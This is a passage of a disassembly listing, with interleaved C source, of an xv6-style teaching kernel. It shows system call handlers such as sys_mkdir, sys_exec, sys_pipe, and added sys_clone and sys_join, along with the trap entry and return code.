80104be3: e9 5f ff ff ff jmp 80104b47 <sys_open+0xb9>
80104be8 <sys_mkdir>:
int
sys_mkdir(void)
{
80104be8: f3 0f 1e fb endbr32
80104bec: 55 push %ebp
80104bed: 89 e5 mov %esp,%ebp
80104bef: 83 ec 18 sub $0x18,%esp
char *path;
struct inode *ip;
begin_op();
80104bf2: e8 58 dc ff ff call 8010284f <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
80104bf7: 83 ec 08 sub $0x8,%esp
80104bfa: 8d 45 f4 lea -0xc(%ebp),%eax
80104bfd: 50 push %eax
80104bfe: 6a 00 push $0x0
80104c00: e8 d6 f6 ff ff call 801042db <argstr>
80104c05: 83 c4 10 add $0x10,%esp
80104c08: 85 c0 test %eax,%eax
80104c0a: 78 36 js 80104c42 <sys_mkdir+0x5a>
80104c0c: 83 ec 0c sub $0xc,%esp
80104c0f: 6a 00 push $0x0
80104c11: b9 00 00 00 00 mov $0x0,%ecx
80104c16: ba 01 00 00 00 mov $0x1,%edx
80104c1b: 8b 45 f4 mov -0xc(%ebp),%eax
80104c1e: e8 38 f8 ff ff call 8010445b <create>
80104c23: 83 c4 10 add $0x10,%esp
80104c26: 85 c0 test %eax,%eax
80104c28: 74 18 je 80104c42 <sys_mkdir+0x5a>
end_op();
return -1;
}
iunlockput(ip);
80104c2a: 83 ec 0c sub $0xc,%esp
80104c2d: 50 push %eax
80104c2e: e8 4a cb ff ff call 8010177d <iunlockput>
end_op();
80104c33: e8 95 dc ff ff call 801028cd <end_op>
return 0;
80104c38: 83 c4 10 add $0x10,%esp
80104c3b: b8 00 00 00 00 mov $0x0,%eax
}
80104c40: c9 leave
80104c41: c3 ret
end_op();
80104c42: e8 86 dc ff ff call 801028cd <end_op>
return -1;
80104c47: b8 ff ff ff ff mov $0xffffffff,%eax
80104c4c: eb f2 jmp 80104c40 <sys_mkdir+0x58>
80104c4e <sys_mknod>:
int
sys_mknod(void)
{
80104c4e: f3 0f 1e fb endbr32
80104c52: 55 push %ebp
80104c53: 89 e5 mov %esp,%ebp
80104c55: 83 ec 18 sub $0x18,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
80104c58: e8 f2 db ff ff call 8010284f <begin_op>
if((argstr(0, &path)) < 0 ||
80104c5d: 83 ec 08 sub $0x8,%esp
80104c60: 8d 45 f4 lea -0xc(%ebp),%eax
80104c63: 50 push %eax
80104c64: 6a 00 push $0x0
80104c66: e8 70 f6 ff ff call 801042db <argstr>
80104c6b: 83 c4 10 add $0x10,%esp
80104c6e: 85 c0 test %eax,%eax
80104c70: 78 62 js 80104cd4 <sys_mknod+0x86>
argint(1, &major) < 0 ||
80104c72: 83 ec 08 sub $0x8,%esp
80104c75: 8d 45 f0 lea -0x10(%ebp),%eax
80104c78: 50 push %eax
80104c79: 6a 01 push $0x1
80104c7b: e8 c3 f5 ff ff call 80104243 <argint>
if((argstr(0, &path)) < 0 ||
80104c80: 83 c4 10 add $0x10,%esp
80104c83: 85 c0 test %eax,%eax
80104c85: 78 4d js 80104cd4 <sys_mknod+0x86>
argint(2, &minor) < 0 ||
80104c87: 83 ec 08 sub $0x8,%esp
80104c8a: 8d 45 ec lea -0x14(%ebp),%eax
80104c8d: 50 push %eax
80104c8e: 6a 02 push $0x2
80104c90: e8 ae f5 ff ff call 80104243 <argint>
argint(1, &major) < 0 ||
80104c95: 83 c4 10 add $0x10,%esp
80104c98: 85 c0 test %eax,%eax
80104c9a: 78 38 js 80104cd4 <sys_mknod+0x86>
(ip = create(path, T_DEV, major, minor)) == 0){
80104c9c: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
80104ca0: 83 ec 0c sub $0xc,%esp
80104ca3: 0f bf 45 ec movswl -0x14(%ebp),%eax
80104ca7: 50 push %eax
80104ca8: ba 03 00 00 00 mov $0x3,%edx
80104cad: 8b 45 f4 mov -0xc(%ebp),%eax
80104cb0: e8 a6 f7 ff ff call 8010445b <create>
argint(2, &minor) < 0 ||
80104cb5: 83 c4 10 add $0x10,%esp
80104cb8: 85 c0 test %eax,%eax
80104cba: 74 18 je 80104cd4 <sys_mknod+0x86>
end_op();
return -1;
}
iunlockput(ip);
80104cbc: 83 ec 0c sub $0xc,%esp
80104cbf: 50 push %eax
80104cc0: e8 b8 ca ff ff call 8010177d <iunlockput>
end_op();
80104cc5: e8 03 dc ff ff call 801028cd <end_op>
return 0;
80104cca: 83 c4 10 add $0x10,%esp
80104ccd: b8 00 00 00 00 mov $0x0,%eax
}
80104cd2: c9 leave
80104cd3: c3 ret
end_op();
80104cd4: e8 f4 db ff ff call 801028cd <end_op>
return -1;
80104cd9: b8 ff ff ff ff mov $0xffffffff,%eax
80104cde: eb f2 jmp 80104cd2 <sys_mknod+0x84>
80104ce0 <sys_chdir>:
int
sys_chdir(void)
{
80104ce0: f3 0f 1e fb endbr32
80104ce4: 55 push %ebp
80104ce5: 89 e5 mov %esp,%ebp
80104ce7: 56 push %esi
80104ce8: 53 push %ebx
80104ce9: 83 ec 10 sub $0x10,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80104cec: e8 d4 e5 ff ff call 801032c5 <myproc>
80104cf1: 89 c6 mov %eax,%esi
begin_op();
80104cf3: e8 57 db ff ff call 8010284f <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80104cf8: 83 ec 08 sub $0x8,%esp
80104cfb: 8d 45 f4 lea -0xc(%ebp),%eax
80104cfe: 50 push %eax
80104cff: 6a 00 push $0x0
80104d01: e8 d5 f5 ff ff call 801042db <argstr>
80104d06: 83 c4 10 add $0x10,%esp
80104d09: 85 c0 test %eax,%eax
80104d0b: 78 52 js 80104d5f <sys_chdir+0x7f>
80104d0d: 83 ec 0c sub $0xc,%esp
80104d10: ff 75 f4 pushl -0xc(%ebp)
80104d13: e8 37 cf ff ff call 80101c4f <namei>
80104d18: 89 c3 mov %eax,%ebx
80104d1a: 83 c4 10 add $0x10,%esp
80104d1d: 85 c0 test %eax,%eax
80104d1f: 74 3e je 80104d5f <sys_chdir+0x7f>
end_op();
return -1;
}
ilock(ip);
80104d21: 83 ec 0c sub $0xc,%esp
80104d24: 50 push %eax
80104d25: e8 a0 c8 ff ff call 801015ca <ilock>
if(ip->type != T_DIR){
80104d2a: 83 c4 10 add $0x10,%esp
80104d2d: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104d32: 75 37 jne 80104d6b <sys_chdir+0x8b>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80104d34: 83 ec 0c sub $0xc,%esp
80104d37: 53 push %ebx
80104d38: e8 53 c9 ff ff call 80101690 <iunlock>
iput(curproc->cwd);
80104d3d: 83 c4 04 add $0x4,%esp
80104d40: ff 76 68 pushl 0x68(%esi)
80104d43: e8 91 c9 ff ff call 801016d9 <iput>
end_op();
80104d48: e8 80 db ff ff call 801028cd <end_op>
curproc->cwd = ip;
80104d4d: 89 5e 68 mov %ebx,0x68(%esi)
return 0;
80104d50: 83 c4 10 add $0x10,%esp
80104d53: b8 00 00 00 00 mov $0x0,%eax
}
80104d58: 8d 65 f8 lea -0x8(%ebp),%esp
80104d5b: 5b pop %ebx
80104d5c: 5e pop %esi
80104d5d: 5d pop %ebp
80104d5e: c3 ret
end_op();
80104d5f: e8 69 db ff ff call 801028cd <end_op>
return -1;
80104d64: b8 ff ff ff ff mov $0xffffffff,%eax
80104d69: eb ed jmp 80104d58 <sys_chdir+0x78>
iunlockput(ip);
80104d6b: 83 ec 0c sub $0xc,%esp
80104d6e: 53 push %ebx
80104d6f: e8 09 ca ff ff call 8010177d <iunlockput>
end_op();
80104d74: e8 54 db ff ff call 801028cd <end_op>
return -1;
80104d79: 83 c4 10 add $0x10,%esp
80104d7c: b8 ff ff ff ff mov $0xffffffff,%eax
80104d81: eb d5 jmp 80104d58 <sys_chdir+0x78>
80104d83 <sys_exec>:
int
sys_exec(void)
{
80104d83: f3 0f 1e fb endbr32
80104d87: 55 push %ebp
80104d88: 89 e5 mov %esp,%ebp
80104d8a: 53 push %ebx
80104d8b: 81 ec 9c 00 00 00 sub $0x9c,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
80104d91: 8d 45 f4 lea -0xc(%ebp),%eax
80104d94: 50 push %eax
80104d95: 6a 00 push $0x0
80104d97: e8 3f f5 ff ff call 801042db <argstr>
80104d9c: 83 c4 10 add $0x10,%esp
80104d9f: 85 c0 test %eax,%eax
80104da1: 78 38 js 80104ddb <sys_exec+0x58>
80104da3: 83 ec 08 sub $0x8,%esp
80104da6: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
80104dac: 50 push %eax
80104dad: 6a 01 push $0x1
80104daf: e8 8f f4 ff ff call 80104243 <argint>
80104db4: 83 c4 10 add $0x10,%esp
80104db7: 85 c0 test %eax,%eax
80104db9: 78 20 js 80104ddb <sys_exec+0x58>
return -1;
}
memset(argv, 0, sizeof(argv));
80104dbb: 83 ec 04 sub $0x4,%esp
80104dbe: 68 80 00 00 00 push $0x80
80104dc3: 6a 00 push $0x0
80104dc5: 8d 85 74 ff ff ff lea -0x8c(%ebp),%eax
80104dcb: 50 push %eax
80104dcc: e8 fc f1 ff ff call 80103fcd <memset>
80104dd1: 83 c4 10 add $0x10,%esp
for(i=0;; i++){
80104dd4: bb 00 00 00 00 mov $0x0,%ebx
80104dd9: eb 2c jmp 80104e07 <sys_exec+0x84>
return -1;
80104ddb: b8 ff ff ff ff mov $0xffffffff,%eax
80104de0: eb 78 jmp 80104e5a <sys_exec+0xd7>
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
argv[i] = 0;
80104de2: c7 84 9d 74 ff ff ff movl $0x0,-0x8c(%ebp,%ebx,4)
80104de9: 00 00 00 00
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
80104ded: 83 ec 08 sub $0x8,%esp
80104df0: 8d 85 74 ff ff ff lea -0x8c(%ebp),%eax
80104df6: 50 push %eax
80104df7: ff 75 f4 pushl -0xc(%ebp)
80104dfa: e8 fd ba ff ff call 801008fc <exec>
80104dff: 83 c4 10 add $0x10,%esp
80104e02: eb 56 jmp 80104e5a <sys_exec+0xd7>
for(i=0;; i++){
80104e04: 83 c3 01 add $0x1,%ebx
if(i >= NELEM(argv))
80104e07: 83 fb 1f cmp $0x1f,%ebx
80104e0a: 77 49 ja 80104e55 <sys_exec+0xd2>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80104e0c: 83 ec 08 sub $0x8,%esp
80104e0f: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax
80104e15: 50 push %eax
80104e16: 8b 85 70 ff ff ff mov -0x90(%ebp),%eax
80104e1c: 8d 04 98 lea (%eax,%ebx,4),%eax
80104e1f: 50 push %eax
80104e20: e8 9a f3 ff ff call 801041bf <fetchint>
80104e25: 83 c4 10 add $0x10,%esp
80104e28: 85 c0 test %eax,%eax
80104e2a: 78 33 js 80104e5f <sys_exec+0xdc>
if(uarg == 0){
80104e2c: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax
80104e32: 85 c0 test %eax,%eax
80104e34: 74 ac je 80104de2 <sys_exec+0x5f>
if(fetchstr(uarg, &argv[i]) < 0)
80104e36: 83 ec 08 sub $0x8,%esp
80104e39: 8d 94 9d 74 ff ff ff lea -0x8c(%ebp,%ebx,4),%edx
80104e40: 52 push %edx
80104e41: 50 push %eax
80104e42: e8 b8 f3 ff ff call 801041ff <fetchstr>
80104e47: 83 c4 10 add $0x10,%esp
80104e4a: 85 c0 test %eax,%eax
80104e4c: 79 b6 jns 80104e04 <sys_exec+0x81>
return -1;
80104e4e: b8 ff ff ff ff mov $0xffffffff,%eax
80104e53: eb 05 jmp 80104e5a <sys_exec+0xd7>
return -1;
80104e55: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e5a: 8b 5d fc mov -0x4(%ebp),%ebx
80104e5d: c9 leave
80104e5e: c3 ret
return -1;
80104e5f: b8 ff ff ff ff mov $0xffffffff,%eax
80104e64: eb f4 jmp 80104e5a <sys_exec+0xd7>
80104e66 <sys_pipe>:
int
sys_pipe(void)
{
80104e66: f3 0f 1e fb endbr32
80104e6a: 55 push %ebp
80104e6b: 89 e5 mov %esp,%ebp
80104e6d: 53 push %ebx
80104e6e: 83 ec 18 sub $0x18,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
80104e71: 6a 08 push $0x8
80104e73: 8d 45 f4 lea -0xc(%ebp),%eax
80104e76: 50 push %eax
80104e77: 6a 00 push $0x0
80104e79: e8 f1 f3 ff ff call 8010426f <argptr>
80104e7e: 83 c4 10 add $0x10,%esp
80104e81: 85 c0 test %eax,%eax
80104e83: 78 79 js 80104efe <sys_pipe+0x98>
return -1;
if(pipealloc(&rf, &wf) < 0)
80104e85: 83 ec 08 sub $0x8,%esp
80104e88: 8d 45 ec lea -0x14(%ebp),%eax
80104e8b: 50 push %eax
80104e8c: 8d 45 f0 lea -0x10(%ebp),%eax
80104e8f: 50 push %eax
80104e90: e8 5f df ff ff call 80102df4 <pipealloc>
80104e95: 83 c4 10 add $0x10,%esp
80104e98: 85 c0 test %eax,%eax
80104e9a: 78 69 js 80104f05 <sys_pipe+0x9f>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80104e9c: 8b 45 f0 mov -0x10(%ebp),%eax
80104e9f: e8 29 f5 ff ff call 801043cd <fdalloc>
80104ea4: 89 c3 mov %eax,%ebx
80104ea6: 85 c0 test %eax,%eax
80104ea8: 78 21 js 80104ecb <sys_pipe+0x65>
80104eaa: 8b 45 ec mov -0x14(%ebp),%eax
80104ead: e8 1b f5 ff ff call 801043cd <fdalloc>
80104eb2: 85 c0 test %eax,%eax
80104eb4: 78 15 js 80104ecb <sys_pipe+0x65>
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
80104eb6: 8b 55 f4 mov -0xc(%ebp),%edx
80104eb9: 89 1a mov %ebx,(%edx)
fd[1] = fd1;
80104ebb: 8b 55 f4 mov -0xc(%ebp),%edx
80104ebe: 89 42 04 mov %eax,0x4(%edx)
return 0;
80104ec1: b8 00 00 00 00 mov $0x0,%eax
}
80104ec6: 8b 5d fc mov -0x4(%ebp),%ebx
80104ec9: c9 leave
80104eca: c3 ret
if(fd0 >= 0)
80104ecb: 85 db test %ebx,%ebx
80104ecd: 79 20 jns 80104eef <sys_pipe+0x89>
fileclose(rf);
80104ecf: 83 ec 0c sub $0xc,%esp
80104ed2: ff 75 f0 pushl -0x10(%ebp)
80104ed5: e8 2b be ff ff call 80100d05 <fileclose>
fileclose(wf);
80104eda: 83 c4 04 add $0x4,%esp
80104edd: ff 75 ec pushl -0x14(%ebp)
80104ee0: e8 20 be ff ff call 80100d05 <fileclose>
return -1;
80104ee5: 83 c4 10 add $0x10,%esp
80104ee8: b8 ff ff ff ff mov $0xffffffff,%eax
80104eed: eb d7 jmp 80104ec6 <sys_pipe+0x60>
myproc()->ofile[fd0] = 0;
80104eef: e8 d1 e3 ff ff call 801032c5 <myproc>
80104ef4: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4)
80104efb: 00
80104efc: eb d1 jmp 80104ecf <sys_pipe+0x69>
return -1;
80104efe: b8 ff ff ff ff mov $0xffffffff,%eax
80104f03: eb c1 jmp 80104ec6 <sys_pipe+0x60>
return -1;
80104f05: b8 ff ff ff ff mov $0xffffffff,%eax
80104f0a: eb ba jmp 80104ec6 <sys_pipe+0x60>
80104f0c <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
80104f0c: f3 0f 1e fb endbr32
80104f10: 55 push %ebp
80104f11: 89 e5 mov %esp,%ebp
80104f13: 83 ec 08 sub $0x8,%esp
return fork();
80104f16: e8 50 e5 ff ff call 8010346b <fork>
}
80104f1b: c9 leave
80104f1c: c3 ret
80104f1d <sys_clone>:
int
sys_clone(void)
{
80104f1d: f3 0f 1e fb endbr32
80104f21: 55 push %ebp
80104f22: 89 e5 mov %esp,%ebp
80104f24: 83 ec 1c sub $0x1c,%esp
void(*fcn)(void *, void *);
void* arg1;
void* arg2;
void* stack;
if (argptr(0, (void*)&fcn, sizeof(void*)) < 0) {
80104f27: 6a 04 push $0x4
80104f29: 8d 45 f4 lea -0xc(%ebp),%eax
80104f2c: 50 push %eax
80104f2d: 6a 00 push $0x0
80104f2f: e8 3b f3 ff ff call 8010426f <argptr>
80104f34: 83 c4 10 add $0x10,%esp
80104f37: 85 c0 test %eax,%eax
80104f39: 78 5b js 80104f96 <sys_clone+0x79>
return -1;
}
if (argptr(1, (void*)&arg1, sizeof(void*)) < 0) {
80104f3b: 83 ec 04 sub $0x4,%esp
80104f3e: 6a 04 push $0x4
80104f40: 8d 45 f0 lea -0x10(%ebp),%eax
80104f43: 50 push %eax
80104f44: 6a 01 push $0x1
80104f46: e8 24 f3 ff ff call 8010426f <argptr>
80104f4b: 83 c4 10 add $0x10,%esp
80104f4e: 85 c0 test %eax,%eax
80104f50: 78 4b js 80104f9d <sys_clone+0x80>
return -1;
}
if (argptr(2, (void*)&arg2, sizeof(void*)) < 0) {
80104f52: 83 ec 04 sub $0x4,%esp
80104f55: 6a 04 push $0x4
80104f57: 8d 45 ec lea -0x14(%ebp),%eax
80104f5a: 50 push %eax
80104f5b: 6a 02 push $0x2
80104f5d: e8 0d f3 ff ff call 8010426f <argptr>
80104f62: 83 c4 10 add $0x10,%esp
80104f65: 85 c0 test %eax,%eax
80104f67: 78 3b js 80104fa4 <sys_clone+0x87>
return -1;
}
if (argptr(3, (void*)&stack, sizeof(void*)) < 0) {
80104f69: 83 ec 04 sub $0x4,%esp
80104f6c: 6a 04 push $0x4
80104f6e: 8d 45 e8 lea -0x18(%ebp),%eax
80104f71: 50 push %eax
80104f72: 6a 03 push $0x3
80104f74: e8 f6 f2 ff ff call 8010426f <argptr>
80104f79: 83 c4 10 add $0x10,%esp
80104f7c: 85 c0 test %eax,%eax
80104f7e: 78 2b js 80104fab <sys_clone+0x8e>
return -1;
}
return clone(fcn, arg1, arg2, stack);
80104f80: ff 75 e8 pushl -0x18(%ebp)
80104f83: ff 75 ec pushl -0x14(%ebp)
80104f86: ff 75 f0 pushl -0x10(%ebp)
80104f89: ff 75 f4 pushl -0xc(%ebp)
80104f8c: e8 e5 e5 ff ff call 80103576 <clone>
80104f91: 83 c4 10 add $0x10,%esp
}
80104f94: c9 leave
80104f95: c3 ret
return -1;
80104f96: b8 ff ff ff ff mov $0xffffffff,%eax
80104f9b: eb f7 jmp 80104f94 <sys_clone+0x77>
return -1;
80104f9d: b8 ff ff ff ff mov $0xffffffff,%eax
80104fa2: eb f0 jmp 80104f94 <sys_clone+0x77>
return -1;
80104fa4: b8 ff ff ff ff mov $0xffffffff,%eax
80104fa9: eb e9 jmp 80104f94 <sys_clone+0x77>
return -1;
80104fab: b8 ff ff ff ff mov $0xffffffff,%eax
80104fb0: eb e2 jmp 80104f94 <sys_clone+0x77>
80104fb2 <sys_exit>:
int
sys_exit(void)
{
80104fb2: f3 0f 1e fb endbr32
80104fb6: 55 push %ebp
80104fb7: 89 e5 mov %esp,%ebp
80104fb9: 83 ec 08 sub $0x8,%esp
exit();
80104fbc: e8 40 e8 ff ff call 80103801 <exit>
return 0; // not reached
}
80104fc1: b8 00 00 00 00 mov $0x0,%eax
80104fc6: c9 leave
80104fc7: c3 ret
80104fc8 <sys_wait>:
int
sys_wait(void)
{
80104fc8: f3 0f 1e fb endbr32
80104fcc: 55 push %ebp
80104fcd: 89 e5 mov %esp,%ebp
80104fcf: 83 ec 08 sub $0x8,%esp
return wait();
80104fd2: e8 bf e9 ff ff call 80103996 <wait>
}
80104fd7: c9 leave
80104fd8: c3 ret
80104fd9 <sys_join>:
int
sys_join(void)
{
80104fd9: f3 0f 1e fb endbr32
80104fdd: 55 push %ebp
80104fde: 89 e5 mov %esp,%ebp
80104fe0: 83 ec 1c sub $0x1c,%esp
void** stack;
if (argptr(0, (void*)&stack, sizeof(void**)) < 0) {
80104fe3: 6a 04 push $0x4
80104fe5: 8d 45 f4 lea -0xc(%ebp),%eax
80104fe8: 50 push %eax
80104fe9: 6a 00 push $0x0
80104feb: e8 7f f2 ff ff call 8010426f <argptr>
80104ff0: 83 c4 10 add $0x10,%esp
80104ff3: 85 c0 test %eax,%eax
80104ff5: 78 10 js 80105007 <sys_join+0x2e>
return -1;
}
return join(stack);
80104ff7: 83 ec 0c sub $0xc,%esp
80104ffa: ff 75 f4 pushl -0xc(%ebp)
80104ffd: e8 74 ea ff ff call 80103a76 <join>
80105002: 83 c4 10 add $0x10,%esp
}
80105005: c9 leave
80105006: c3 ret
return -1;
80105007: b8 ff ff ff ff mov $0xffffffff,%eax
8010500c: eb f7 jmp 80105005 <sys_join+0x2c>
8010500e <sys_kill>:
int
sys_kill(void)
{
8010500e: f3 0f 1e fb endbr32
80105012: 55 push %ebp
80105013: 89 e5 mov %esp,%ebp
80105015: 83 ec 20 sub $0x20,%esp
int pid;
if(argint(0, &pid) < 0)
80105018: 8d 45 f4 lea -0xc(%ebp),%eax
8010501b: 50 push %eax
8010501c: 6a 00 push $0x0
8010501e: e8 20 f2 ff ff call 80104243 <argint>
80105023: 83 c4 10 add $0x10,%esp
80105026: 85 c0 test %eax,%eax
80105028: 78 10 js 8010503a <sys_kill+0x2c>
return -1;
return kill(pid);
8010502a: 83 ec 0c sub $0xc,%esp
8010502d: ff 75 f4 pushl -0xc(%ebp)
80105030: e8 4b eb ff ff call 80103b80 <kill>
80105035: 83 c4 10 add $0x10,%esp
}
80105038: c9 leave
80105039: c3 ret
return -1;
8010503a: b8 ff ff ff ff mov $0xffffffff,%eax
8010503f: eb f7 jmp 80105038 <sys_kill+0x2a>
80105041 <sys_getpid>:
int
sys_getpid(void)
{
80105041: f3 0f 1e fb endbr32
80105045: 55 push %ebp
80105046: 89 e5 mov %esp,%ebp
80105048: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
8010504b: e8 75 e2 ff ff call 801032c5 <myproc>
80105050: 8b 40 10 mov 0x10(%eax),%eax
}
80105053: c9 leave
80105054: c3 ret
80105055 <sys_sbrk>:
int
sys_sbrk(void)
{
80105055: f3 0f 1e fb endbr32
80105059: 55 push %ebp
8010505a: 89 e5 mov %esp,%ebp
8010505c: 53 push %ebx
8010505d: 83 ec 1c sub $0x1c,%esp
int addr;
int n;
if(argint(0, &n) < 0)
80105060: 8d 45 f4 lea -0xc(%ebp),%eax
80105063: 50 push %eax
80105064: 6a 00 push $0x0
80105066: e8 d8 f1 ff ff call 80104243 <argint>
8010506b: 83 c4 10 add $0x10,%esp
8010506e: 85 c0 test %eax,%eax
80105070: 78 20 js 80105092 <sys_sbrk+0x3d>
return -1;
addr = myproc()->sz;
80105072: e8 4e e2 ff ff call 801032c5 <myproc>
80105077: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105079: 83 ec 0c sub $0xc,%esp
8010507c: ff 75 f4 pushl -0xc(%ebp)
8010507f: e8 55 e3 ff ff call 801033d9 <growproc>
80105084: 83 c4 10 add $0x10,%esp
80105087: 85 c0 test %eax,%eax
80105089: 78 0e js 80105099 <sys_sbrk+0x44>
return -1;
return addr;
}
8010508b: 89 d8 mov %ebx,%eax
8010508d: 8b 5d fc mov -0x4(%ebp),%ebx
80105090: c9 leave
80105091: c3 ret
return -1;
80105092: bb ff ff ff ff mov $0xffffffff,%ebx
80105097: eb f2 jmp 8010508b <sys_sbrk+0x36>
return -1;
80105099: bb ff ff ff ff mov $0xffffffff,%ebx
8010509e: eb eb jmp 8010508b <sys_sbrk+0x36>
801050a0 <sys_sleep>:
int
sys_sleep(void)
{
801050a0: f3 0f 1e fb endbr32
801050a4: 55 push %ebp
801050a5: 89 e5 mov %esp,%ebp
801050a7: 53 push %ebx
801050a8: 83 ec 1c sub $0x1c,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
801050ab: 8d 45 f4 lea -0xc(%ebp),%eax
801050ae: 50 push %eax
801050af: 6a 00 push $0x0
801050b1: e8 8d f1 ff ff call 80104243 <argint>
801050b6: 83 c4 10 add $0x10,%esp
801050b9: 85 c0 test %eax,%eax
801050bb: 78 75 js 80105132 <sys_sleep+0x92>
return -1;
acquire(&tickslock);
801050bd: 83 ec 0c sub $0xc,%esp
801050c0: 68 60 4d 11 80 push $0x80114d60
801050c5: e8 4f ee ff ff call 80103f19 <acquire>
ticks0 = ticks;
801050ca: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
while(ticks - ticks0 < n){
801050d0: 83 c4 10 add $0x10,%esp
801050d3: a1 a0 55 11 80 mov 0x801155a0,%eax
801050d8: 29 d8 sub %ebx,%eax
801050da: 3b 45 f4 cmp -0xc(%ebp),%eax
801050dd: 73 39 jae 80105118 <sys_sleep+0x78>
if(myproc()->killed){
801050df: e8 e1 e1 ff ff call 801032c5 <myproc>
801050e4: 83 78 24 00 cmpl $0x0,0x24(%eax)
801050e8: 75 17 jne 80105101 <sys_sleep+0x61>
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
801050ea: 83 ec 08 sub $0x8,%esp
801050ed: 68 60 4d 11 80 push $0x80114d60
801050f2: 68 a0 55 11 80 push $0x801155a0
801050f7: e8 05 e8 ff ff call 80103901 <sleep>
801050fc: 83 c4 10 add $0x10,%esp
801050ff: eb d2 jmp 801050d3 <sys_sleep+0x33>
release(&tickslock);
80105101: 83 ec 0c sub $0xc,%esp
80105104: 68 60 4d 11 80 push $0x80114d60
80105109: e8 74 ee ff ff call 80103f82 <release>
return -1;
8010510e: 83 c4 10 add $0x10,%esp
80105111: b8 ff ff ff ff mov $0xffffffff,%eax
80105116: eb 15 jmp 8010512d <sys_sleep+0x8d>
}
release(&tickslock);
80105118: 83 ec 0c sub $0xc,%esp
8010511b: 68 60 4d 11 80 push $0x80114d60
80105120: e8 5d ee ff ff call 80103f82 <release>
return 0;
80105125: 83 c4 10 add $0x10,%esp
80105128: b8 00 00 00 00 mov $0x0,%eax
}
8010512d: 8b 5d fc mov -0x4(%ebp),%ebx
80105130: c9 leave
80105131: c3 ret
return -1;
80105132: b8 ff ff ff ff mov $0xffffffff,%eax
80105137: eb f4 jmp 8010512d <sys_sleep+0x8d>
80105139 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
80105139: f3 0f 1e fb endbr32
8010513d: 55 push %ebp
8010513e: 89 e5 mov %esp,%ebp
80105140: 53 push %ebx
80105141: 83 ec 10 sub $0x10,%esp
uint xticks;
acquire(&tickslock);
80105144: 68 60 4d 11 80 push $0x80114d60
80105149: e8 cb ed ff ff call 80103f19 <acquire>
xticks = ticks;
8010514e: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
release(&tickslock);
80105154: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
8010515b: e8 22 ee ff ff call 80103f82 <release>
return xticks;
}
80105160: 89 d8 mov %ebx,%eax
80105162: 8b 5d fc mov -0x4(%ebp),%ebx
80105165: c9 leave
80105166: c3 ret
80105167 <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80105167: 1e push %ds
pushl %es
80105168: 06 push %es
pushl %fs
80105169: 0f a0 push %fs
pushl %gs
8010516b: 0f a8 push %gs
pushal
8010516d: 60 pusha
# Set up data segments.
movw $(SEG_KDATA<<3), %ax
8010516e: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80105172: 8e d8 mov %eax,%ds
movw %ax, %es
80105174: 8e c0 mov %eax,%es
# Call trap(tf), where tf=%esp
pushl %esp
80105176: 54 push %esp
call trap
80105177: e8 eb 00 00 00 call 80105267 <trap>
addl $4, %esp
8010517c: 83 c4 04 add $0x4,%esp
8010517f <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
8010517f: 61 popa
popl %gs
80105180: 0f a9 pop %gs
popl %fs
80105182: 0f a1 pop %fs
popl %es
80105184: 07 pop %es
popl %ds
80105185: 1f pop %ds
addl $0x8, %esp # trapno and errcode
80105186: 83 c4 08 add $0x8,%esp
iret
80105189: cf iret
8010518a <tvinit>:
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
8010518a: f3 0f 1e fb endbr32
8010518e: 55 push %ebp
8010518f: 89 e5 mov %esp,%ebp
80105191: 83 ec 08 sub $0x8,%esp
int i;
for(i = 0; i < 256; i++)
80105194: b8 00 00 00 00 mov $0x0,%eax
80105199: 3d ff 00 00 00 cmp $0xff,%eax
8010519e: 7f 4c jg 801051ec <tvinit+0x62>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
801051a0: 8b 0c 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%ecx
801051a7: 66 89 0c c5 a0 4d 11 mov %cx,-0x7feeb260(,%eax,8)
801051ae: 80
801051af: 66 c7 04 c5 a2 4d 11 movw $0x8,-0x7feeb25e(,%eax,8)
801051b6: 80 08 00
801051b9: c6 04 c5 a4 4d 11 80 movb $0x0,-0x7feeb25c(,%eax,8)
801051c0: 00
801051c1: 0f b6 14 c5 a5 4d 11 movzbl -0x7feeb25b(,%eax,8),%edx
801051c8: 80
801051c9: 83 e2 f0 and $0xfffffff0,%edx
801051cc: 83 ca 0e or $0xe,%edx
801051cf: 83 e2 8f and $0xffffff8f,%edx
801051d2: 83 ca 80 or $0xffffff80,%edx
